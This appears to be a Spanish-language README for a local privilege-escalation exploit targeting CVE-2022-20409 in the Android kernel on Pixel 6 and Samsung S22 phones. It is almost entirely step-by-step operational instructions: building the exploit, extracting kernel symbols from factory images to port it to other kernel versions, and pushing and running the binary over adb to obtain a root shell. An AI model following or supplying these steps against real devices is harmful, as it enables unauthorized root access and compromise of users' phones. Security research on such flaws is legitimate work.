
Explotación del kernel de Android para CVE-2022-20409
Asegúrate de que Android NDK esté instalado. Para Pixel 6,
make pixel
Para Samsung S22,
make s22
El exploit está escrito para soportar diferentes versiones de kernels. Para portar el exploit a un kernel diferente, necesitas extraer el archivo de símbolos del kernel objetivo.
El kernel se puede extraer de la imagen de fábrica del teléfono. Para Pixels, descarga la imagen de fábrica aquí.
Después de descargar la imagen, extráela para obtener el archivo boot.img. boot.img se puede extraer con tools/unpack_bootimg.py.
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
Verás el kernel en out/kernel
Ahora, con la imagen del kernel, podemos usar vmlinux-to-elf para extraer los símbolos del kernel.
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
Debes asegurarte de que la Cadena de versión extraída en el símbolo coincida con la versión del kernel de tu teléfono. La versión del kernel del teléfono se puede consultar a través de adb. Por ejemplo,
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
coincide con
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
Ahora puedes subir el exploit y el archivo de símbolos al teléfono y obtener root con los siguientes comandos.
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
Disfruta de tu shell root :)